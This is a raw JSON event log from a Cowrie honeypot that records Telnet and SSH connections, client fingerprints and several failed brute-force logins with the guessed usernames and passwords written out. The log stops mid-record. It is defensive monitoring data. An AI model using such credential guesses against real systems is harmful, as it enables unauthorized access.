{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu#2023","message":"login attempt [ubuntu/ubuntu#2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:57.310243Z","src_ip":"124.18.182.99","session":"1b4ff64daeeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.72728443145752,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:57.637275Z","src_ip":"161.132.53.68","session":"e911e4f9127f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:58.487357Z","src_ip":"124.18.182.99","session":"1b4ff64daeeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":38664,"dst_ip":"159.203.135.109","dst_port":23,"session":"adb244caa3bc","protocol":"telnet","message":"New connection: 161.132.53.68:38664 (159.203.135.109:23) [session: adb244caa3bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:58.598298Z"}
{"eventid":"cowrie.session.closed","duration":32.440890312194824,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:20:59.003984Z","src_ip":"161.132.53.68","session":"b30ac1c6f996","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.09288549423218,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:00.002058Z","src_ip":"104.245.105.2","session":"ccff99a525c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.36097240447998,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:01.534765Z","src_ip":"161.132.53.68","session":"26d41d4ac009","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.56954622268677,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:02.934744Z","src_ip":"161.132.53.68","session":"c5d2d7c1bfc0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.348246097564697,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:03.699784Z","src_ip":"192.119.108.58","session":"20d703d25b4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":58784,"dst_ip":"159.203.135.109","dst_port":23,"session":"21f848db4c55","protocol":"telnet","message":"New connection: 192.119.108.58:58784 (159.203.135.109:23) [session: 21f848db4c55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:04.693429Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":57574,"dst_ip":"159.203.135.109","dst_port":23,"session":"11f4be760ef9","protocol":"telnet","message":"New connection: 192.119.108.58:57574 (159.203.135.109:23) [session: 11f4be760ef9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:04.933113Z"}
{"eventid":"cowrie.session.closed","duration":31.239165544509888,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:06.854117Z","src_ip":"192.119.108.58","session":"418e0e94736b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.627033710479736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:07.187980Z","src_ip":"161.132.53.68","session":"0f37ef18eb23","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.68082618713379,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:07.614029Z","src_ip":"161.132.53.68","session":"4715889242f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":60188,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd58453ef673","protocol":"telnet","message":"New connection: 192.119.108.58:60188 (159.203.135.109:23) [session: bd58453ef673]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:07.711575Z"}
{"eventid":"cowrie.session.closed","duration":32.510661363601685,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:07.738819Z","src_ip":"161.132.53.68","session":"3de6d70271c5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.50065588951111,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:08.754505Z","src_ip":"161.132.53.68","session":"b5e14426c143","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":34516,"dst_ip":"159.203.135.109","dst_port":23,"session":"edbd6878c695","protocol":"telnet","message":"New connection: 161.132.53.68:34516 (159.203.135.109:23) [session: edbd6878c695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:10.298357Z"}
{"eventid":"cowrie.session.closed","duration":32.41133141517639,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:11.011239Z","src_ip":"161.132.53.68","session":"e54e40757616","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.679540157318115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:11.259976Z","src_ip":"192.119.108.58","session":"37e029b15a85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":33932,"dst_ip":"159.203.135.109","dst_port":23,"session":"958a1f05bc45","protocol":"telnet","message":"New connection: 192.119.108.58:33932 (159.203.135.109:23) [session: 958a1f05bc45]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:11.557385Z"}
{"eventid":"cowrie.session.closed","duration":31.357253313064575,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:12.452590Z","src_ip":"192.119.108.58","session":"c8d8ec7847fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3117253780365,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:13.096325Z","src_ip":"192.119.108.58","session":"187fbd9707dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44847297668457,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:13.101070Z","src_ip":"192.119.108.58","session":"6a8edd0a6186","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20267128944397,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:13.198498Z","src_ip":"192.119.108.58","session":"f9f4acdac957","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":34528,"dst_ip":"159.203.135.109","dst_port":23,"session":"d0791d9c74b4","protocol":"telnet","message":"New connection: 161.132.53.68:34528 (159.203.135.109:23) [session: d0791d9c74b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:13.675507Z"}
{"eventid":"cowrie.session.closed","duration":30.51693296432495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:17.143974Z","src_ip":"192.119.108.58","session":"cfa9da245e07","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.58412265777588,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:18.179490Z","src_ip":"192.119.108.58","session":"99ddbc9af6cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.988892316818237,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:19.141594Z","src_ip":"192.119.108.58","session":"63b77d54f636","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.13","src_port":55361,"dst_ip":"10.17.0.5","dst_port":23,"session":"71594e67c5c5","protocol":"telnet","message":"New connection: 147.185.132.13:55361 (10.17.0.5:23) [session: 71594e67c5c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:19.599303Z"}
{"eventid":"cowrie.session.closed","duration":30.80125331878662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:21.479136Z","src_ip":"161.132.53.68","session":"d4edff4eeeee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.348433017730713,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:21.496812Z","src_ip":"161.132.53.68","session":"a014b87b02e2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":38936,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ed501ff5688","protocol":"telnet","message":"New connection: 192.119.108.58:38936 (159.203.135.109:23) [session: 7ed501ff5688]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:21.903808Z"}
{"eventid":"cowrie.session.closed","duration":32.63303279876709,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:22.177586Z","src_ip":"161.132.53.68","session":"edaf99b5a0d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.05446720123291,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:22.876756Z","src_ip":"161.132.53.68","session":"cf0d08dd096b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41816,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7f5cbebbac0","protocol":"telnet","message":"New connection: 161.132.53.68:41816 (159.203.135.109:23) [session: d7f5cbebbac0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:23.589057Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51846,"dst_ip":"10.17.0.5","dst_port":23,"session":"713efdb31591","protocol":"telnet","message":"New connection: 104.245.105.2:51846 (10.17.0.5:23) [session: 713efdb31591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:23.795827Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41824,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e1fc9d7d542","protocol":"telnet","message":"New connection: 161.132.53.68:41824 (159.203.135.109:23) [session: 5e1fc9d7d542]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:24.235095Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":48402,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4a45c834252","protocol":"ssh","message":"New connection: 223.17.5.126:48402 (159.203.135.109:22) [session: f4a45c834252]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:24.510493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:24.515299Z","src_ip":"223.17.5.126","session":"f4a45c834252","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41836,"dst_ip":"159.203.135.109","dst_port":23,"session":"ffad785af1be","protocol":"telnet","message":"New connection: 161.132.53.68:41836 (159.203.135.109:23) [session: ffad785af1be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:24.518894Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:24.733387Z","src_ip":"223.17.5.126","session":"f4a45c834252","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.119.37.141","src_port":51742,"dst_ip":"10.17.0.5","dst_port":22,"session":"52dbafe1a2aa","protocol":"ssh","message":"New connection: 220.119.37.141:51742 (10.17.0.5:22) [session: 52dbafe1a2aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:25.530969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:25.535294Z","src_ip":"220.119.37.141","session":"52dbafe1a2aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian123","message":"login attempt [root/debian123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:25.638642Z","src_ip":"223.17.5.126","session":"f4a45c834252","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:25.728941Z","src_ip":"220.119.37.141","session":"52dbafe1a2aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.216558694839478,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:25.764623Z","src_ip":"161.132.53.68","session":"2b0f6a367912","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.862585067749023,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:26.038934Z","src_ip":"161.132.53.68","session":"ffb2b54e7eea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":41838,"dst_ip":"159.203.135.109","dst_port":23,"session":"e7cfdeb88552","protocol":"telnet","message":"New connection: 161.132.53.68:41838 (159.203.135.109:23) [session: e7cfdeb88552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:26.062480Z"}
{"eventid":"cowrie.session.closed","duration":30.734679698944092,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:26.067552Z","src_ip":"161.132.53.68","session":"50beba32adc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":41880,"dst_ip":"159.203.135.109","dst_port":23,"session":"3bbe5e57737c","protocol":"telnet","message":"New connection: 192.119.108.58:41880 (159.203.135.109:23) [session: 3bbe5e57737c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:26.513654Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"google10","message":"login attempt [root/google10] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:26.545222Z","src_ip":"220.119.37.141","session":"52dbafe1a2aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:26.863987Z","src_ip":"223.17.5.126","session":"f4a45c834252","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:27.744440Z","src_ip":"220.119.37.141","session":"52dbafe1a2aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.008965492248535,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:29.038104Z","src_ip":"161.132.53.68","session":"3c576abfa8ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":37328,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ea15f191115","protocol":"telnet","message":"New connection: 161.132.53.68:37328 (159.203.135.109:23) [session: 5ea15f191115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:30.026757Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":42348,"dst_ip":"159.203.135.109","dst_port":23,"session":"c3513b2b4b9f","protocol":"telnet","message":"New connection: 192.119.108.58:42348 (159.203.135.109:23) [session: c3513b2b4b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:30.596702Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":37342,"dst_ip":"159.203.135.109","dst_port":23,"session":"f104d31a238c","protocol":"telnet","message":"New connection: 161.132.53.68:37342 (159.203.135.109:23) [session: f104d31a238c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:30.662349Z"}
{"eventid":"cowrie.session.closed","duration":32.66911792755127,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:31.267299Z","src_ip":"161.132.53.68","session":"adb244caa3bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":43906,"dst_ip":"159.203.135.109","dst_port":23,"session":"76a8c521db0e","protocol":"telnet","message":"New connection: 192.119.108.58:43906 (159.203.135.109:23) [session: 76a8c521db0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:33.833066Z"}
{"eventid":"cowrie.session.closed","duration":30.472984075546265,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:35.166298Z","src_ip":"192.119.108.58","session":"21f848db4c55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.472660779953003,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:35.405656Z","src_ip":"192.119.108.58","session":"11f4be760ef9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":50562,"dst_ip":"159.203.135.109","dst_port":23,"session":"62f921994972","protocol":"telnet","message":"New connection: 161.132.53.68:50562 (159.203.135.109:23) [session: 62f921994972]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:37.595594Z"}
{"eventid":"cowrie.session.closed","duration":30.501322269439697,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:38.210906Z","src_ip":"192.119.108.58","session":"bd58453ef673","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":45908,"dst_ip":"159.203.135.109","dst_port":23,"session":"2385a4ee8b32","protocol":"telnet","message":"New connection: 192.119.108.58:45908 (159.203.135.109:23) [session: 2385a4ee8b32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:38.368426Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":47602,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b3c5d79b137","protocol":"telnet","message":"New connection: 192.119.108.58:47602 (159.203.135.109:23) [session: 8b3c5d79b137]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:38.877535Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.108.58","src_port":47910,"dst_ip":"159.203.135.109","dst_port":23,"session":"12bbda3bd9e8","protocol":"telnet","message":"New connection: 192.119.108.58:47910 (159.203.135.109:23) [session: 12bbda3bd9e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:39.606482Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.35.59.237","src_port":44022,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae57ef00382f","protocol":"ssh","message":"New connection: 114.35.59.237:44022 (10.17.0.5:22) [session: ae57ef00382f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:40.610039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:21:40.614856Z","src_ip":"114.35.59.237","session":"ae57ef00382f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-51